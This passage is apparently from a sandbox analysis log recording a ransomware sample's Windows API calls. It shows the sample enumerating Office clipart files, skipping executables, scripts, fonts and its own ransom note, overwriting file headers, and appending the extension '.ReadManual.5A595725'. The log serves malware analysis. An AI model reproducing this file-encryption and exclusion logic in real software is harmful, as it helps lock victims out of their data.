[0270.969] SetSecurityInfo () returned 0x57 [0270.969] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.969] CloseHandle (hObject=0x194) returned 1 [0270.969] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xff8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02435_.WMF", cAlternateFileName="")) returned 1 [0270.969] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02435_.WMF" | out: lpString1="NA02435_.WMF") returned="NA02435_.WMF" [0270.969] lstrcmpiW (lpString1="NA02435_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.969] StrStrIW (lpFirst="NA02435_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.969] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.969] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.969] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" [0270.969] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.ReadManual.5A595725" [0270.969] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF.ReadManual.5A595725") returned 87 [0270.969] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39163816954) returned 1 [0270.969] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf")) returned 0x20 [0270.970] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02435_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02435_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.971] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4088) returned 1 [0270.971] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xff8, lpName=0x0) returned 0x184 [0270.971] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.971] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.972] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.973] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.973] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xff8) returned 0x2f0000 [0270.973] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.974] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39164229146) returned 1 [0270.974] CloseHandle (hObject=0x184) returned 1 [0270.974] SetSecurityInfo () returned 0x57 [0270.974] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.974] CloseHandle (hObject=0x194) returned 1 [0270.974] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0270.974] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02439_.WMF" | out: lpString1="NA02439_.WMF") returned="NA02439_.WMF" [0270.974] lstrcmpiW (lpString1="NA02439_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.974] StrStrIW (lpFirst="NA02439_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.974] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.974] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.974] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" [0270.974] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.ReadManual.5A595725" [0270.974] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.ReadManual.5A595725") returned 87 [0270.974] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39164326035) returned 1 [0270.975] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf")) returned 0x20 [0270.975] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.975] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5172) returned 1 [0270.975] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1434, lpName=0x0) returned 0x184 [0270.975] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.976] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.976] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.978] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.978] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1434) returned 0x2f0000 [0270.978] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.978] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39164678555) returned 1 [0270.978] CloseHandle (hObject=0x184) returned 1 [0270.978] SetSecurityInfo () returned 0x57 [0270.978] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.978] CloseHandle (hObject=0x194) returned 1 [0270.978] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0270.978] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02441_.WMF" | out: lpString1="NA02441_.WMF") returned="NA02441_.WMF" [0270.978] lstrcmpiW (lpString1="NA02441_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.978] StrStrIW (lpFirst="NA02441_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.978] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.979] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.979] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" [0270.979] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.ReadManual.5A595725" [0270.979] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.ReadManual.5A595725") returned 87 [0270.979] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39164778819) returned 1 [0270.979] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf")) returned 0x20 [0270.979] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.980] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12824) returned 1 [0270.980] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3218, lpName=0x0) returned 0x184 [0270.980] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.980] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.980] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.982] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.982] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3218) returned 0x2f0000 [0270.982] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.983] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39165138980) returned 1 [0270.983] CloseHandle (hObject=0x184) returned 1 [0270.983] SetSecurityInfo () returned 0x57 [0270.983] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.983] CloseHandle (hObject=0x194) returned 1 [0270.983] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0270.983] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02443_.WMF" | out: lpString1="NA02443_.WMF") returned="NA02443_.WMF" [0270.983] lstrcmpiW (lpString1="NA02443_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.983] StrStrIW (lpFirst="NA02443_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.983] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.983] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.983] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" [0270.984] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.ReadManual.5A595725" [0270.984] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.ReadManual.5A595725") returned 87 [0270.984] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39165235580) returned 1 [0270.984] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf")) returned 0x20 [0270.984] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.984] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1372) returned 1 [0270.984] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55c, lpName=0x0) returned 0x184 [0270.984] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.985] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.985] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.988] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.988] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55c) returned 0x2f0000 [0270.988] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.988] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39165717174) returned 1 [0270.988] CloseHandle (hObject=0x184) returned 1 [0270.988] SetSecurityInfo () returned 0x57 [0270.989] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.989] CloseHandle (hObject=0x194) returned 1 [0270.989] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0270.989] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02444_.WMF" | out: lpString1="NA02444_.WMF") returned="NA02444_.WMF" [0270.989] lstrcmpiW (lpString1="NA02444_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.989] StrStrIW (lpFirst="NA02444_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.989] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.989] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.989] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" [0270.989] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.ReadManual.5A595725" [0270.989] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.ReadManual.5A595725") returned 87 [0270.989] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39165815634) returned 1 [0270.989] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf")) returned 0x20 [0270.990] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.990] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2188) returned 1 [0270.990] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x88c, lpName=0x0) returned 0x184 [0270.990] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.991] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.991] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.992] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.992] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x88c) returned 0x2f0000 [0270.992] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.993] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39166135515) returned 1 [0270.993] CloseHandle (hObject=0x184) returned 1 [0270.993] SetSecurityInfo () returned 0x57 [0270.993] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.993] CloseHandle (hObject=0x194) returned 1 [0270.993] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0270.993] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02446_.WMF" | out: lpString1="NA02446_.WMF") returned="NA02446_.WMF" [0270.993] lstrcmpiW (lpString1="NA02446_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.993] StrStrIW (lpFirst="NA02446_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.993] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.993] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.993] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.993] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.993] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.993] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.994] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.994] StrCmpIW (psz1="WMF", 